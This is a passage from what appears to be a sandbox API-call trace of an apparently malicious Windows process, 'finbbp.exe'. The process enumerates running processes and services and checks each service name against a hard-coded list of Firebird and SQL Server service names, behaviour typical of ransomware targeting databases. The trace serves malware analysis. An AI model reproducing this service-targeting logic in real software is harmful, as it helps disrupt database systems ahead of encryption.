[0246.111] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0246.111] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0246.112] lstrlenW (lpString="finbbp.exe") returned 10 [0246.112] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0246.113] lstrlenW (lpString="cmd.exe") returned 7 [0246.113] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0246.113] lstrlenW (lpString="conhost.exe") returned 11 [0246.113] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0246.114] CloseHandle (hObject=0x418) returned 1 [0246.114] Sleep (dwMilliseconds=0x1f4) [0247.005] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa10 [0247.006] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0247.007] GetLastError () returned 0xea [0247.007] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1bc4) returned 0x42065b0 [0247.007] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42065b0, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42065b0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0247.008] CloseServiceHandle (hSCObject=0x41aaa10) returned 1 [0247.008] lstrlenW (lpString="Appinfo") returned 7 [0247.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0247.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0247.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0247.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0247.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0247.009] lstrlenW (lpString="AppXSvc") returned 7 [0247.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0247.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0247.009] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0247.009] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0247.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0247.009] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0247.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0247.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0247.009] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0247.009] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0247.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0247.009] lstrlenW (lpString="Audiosrv") returned 8 [0247.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0247.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0247.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0247.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0247.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0247.009] lstrlenW (lpString="BFE") returned 3 [0247.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0247.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0247.009] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0247.009] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0247.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0247.009] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0247.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0247.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0247.009] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0247.009] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0247.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0247.010] lstrlenW (lpString="CDPSvc") returned 6 [0247.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0247.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0247.010] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0247.010] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0247.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0247.010] lstrlenW (lpString="ClickToRunSvc") returned 13 [0247.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0247.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0247.010] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0247.010] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0247.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0247.010] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0247.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0247.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0247.010] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0247.010] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0247.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0247.010] lstrlenW (lpString="CryptSvc") returned 8 [0247.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0247.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0247.010] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0247.010] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0247.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0247.010] lstrlenW (lpString="DcomLaunch") returned 10 [0247.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0247.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0247.010] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0247.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0247.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0247.011] lstrlenW (lpString="DeviceAssociationService") returned 24 [0247.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0247.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0247.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0247.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0247.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0247.011] lstrlenW (lpString="Dhcp") returned 4 [0247.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0247.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0247.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0247.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0247.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0247.011] lstrlenW (lpString="Dnscache") returned 8 [0247.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0247.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0247.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0247.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0247.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0247.012] lstrlenW (lpString="DPS") returned 3 [0247.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0247.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0247.012] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0247.012] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0247.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0247.012] lstrlenW (lpString="DusmSvc") returned 7 [0247.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0247.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0247.012] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0247.012] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0247.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0247.012] lstrlenW (lpString="EventLog") returned 8 [0247.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0247.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0247.012] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0247.012] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0247.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0247.012] lstrlenW (lpString="EventSystem") returned 11 [0247.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0247.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0247.012] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0247.012] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0247.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0247.012] lstrlenW (lpString="FontCache") returned 9 [0247.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0247.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0247.013] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0247.013] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0247.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0247.013] lstrlenW (lpString="gpsvc") returned 5 [0247.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0247.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0247.013] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0247.013] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0247.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0247.013] lstrlenW (lpString="iphlpsvc") returned 8 [0247.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0247.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0247.013] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0247.013] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0247.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0247.013] lstrlenW (lpString="KeyIso") returned 6 [0247.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0247.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0247.013] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0247.013] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0247.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0247.013] lstrlenW (lpString="LanmanServer") returned 12 [0247.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0247.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0247.013] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0247.013] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0247.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0247.013] lstrlenW (lpString="LanmanWorkstation") returned 17 [0247.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0247.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0247.013] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0247.013] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0247.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0247.013] lstrlenW (lpString="lfsvc") returned 5 [0247.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0247.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0247.014] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0247.014] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0247.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0247.014] lstrlenW (lpString="lmhosts") returned 7 [0247.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0247.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0247.014] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0247.014] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0247.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0247.014] lstrlenW (lpString="LSM") returned 3 [0247.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0247.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0247.014] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0247.014] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0247.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0247.014] lstrlenW (lpString="MpsSvc") returned 6 [0247.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0247.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0247.014] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0247.014] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0247.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0247.014] lstrlenW (lpString="NcbService") returned 10 [0247.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0247.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0247.014] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0247.014] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0247.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0247.014] lstrlenW (lpString="netprofm") returned 8 [0247.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0247.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0247.014] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0247.014] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0247.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0247.015] lstrlenW (lpString="NgcSvc") returned 6 [0247.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0247.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0247.015] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0247.015] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0247.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0247.015] lstrlenW (lpString="NlaSvc") returned 6 [0247.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0247.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0247.015] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0247.015] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0247.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0247.015] lstrlenW (lpString="nsi") returned 3 [0247.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0247.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0247.015] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0247.015] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0247.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0247.015] lstrlenW (lpString="PcaSvc") returned 6 [0247.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0247.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0247.015] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0247.015] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0247.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0247.015] lstrlenW (lpString="PlugPlay") returned 8 [0247.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0247.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0247.015] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0247.016] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0247.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0247.016] lstrlenW (lpString="Power") returned 5 [0247.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0247.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0247.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0247.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0247.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0247.016] lstrlenW (lpString="ProfSvc") returned 7 [0247.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0247.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0247.016] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0247.016] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0247.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0247.016] lstrlenW (lpString="RpcEptMapper") returned 12 [0247.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0247.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0247.016] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0247.016] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0247.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0247.016] lstrlenW (lpString="RpcSs") returned 5 [0247.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0247.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0247.016] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0247.016] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0247.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0247.016] lstrlenW (lpString="SamSs") returned 5 [0247.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0247.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0247.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0247.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0247.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0247.017] lstrlenW (lpString="Schedule") returned 8 [0247.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0247.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0247.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0247.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0247.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0247.017] lstrlenW (lpString="SecurityHealthService") returned 21 [0247.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0247.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0247.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0247.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0247.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0247.017] lstrlenW (lpString="SENS") returned 4 [0247.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0247.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0247.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0247.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0247.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0247.017] lstrlenW (lpString="ShellHWDetection") returned 16 [0247.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0247.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0247.017] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0247.017] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0247.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0247.018] lstrlenW (lpString="Spooler") returned 7 [0247.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0247.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0247.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0247.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0247.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0247.018] lstrlenW (lpString="StateRepository") returned 15 [0247.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0247.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0247.018] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0247.018] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0247.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0247.018] lstrlenW (lpString="SysMain") returned 7 [0247.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0247.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0247.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0247.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0247.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0247.018] lstrlenW (lpString="SystemEventsBroker") returned 18 [0247.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0247.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0247.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0247.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0247.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0247.018] lstrlenW (lpString="Themes") returned 6 [0247.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0247.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0247.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0247.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0247.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0247.019] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0247.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0247.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0247.019] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0247.019] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0247.019] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42065b0 | out: hHeap=0x670000) returned 1 [0247.019] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 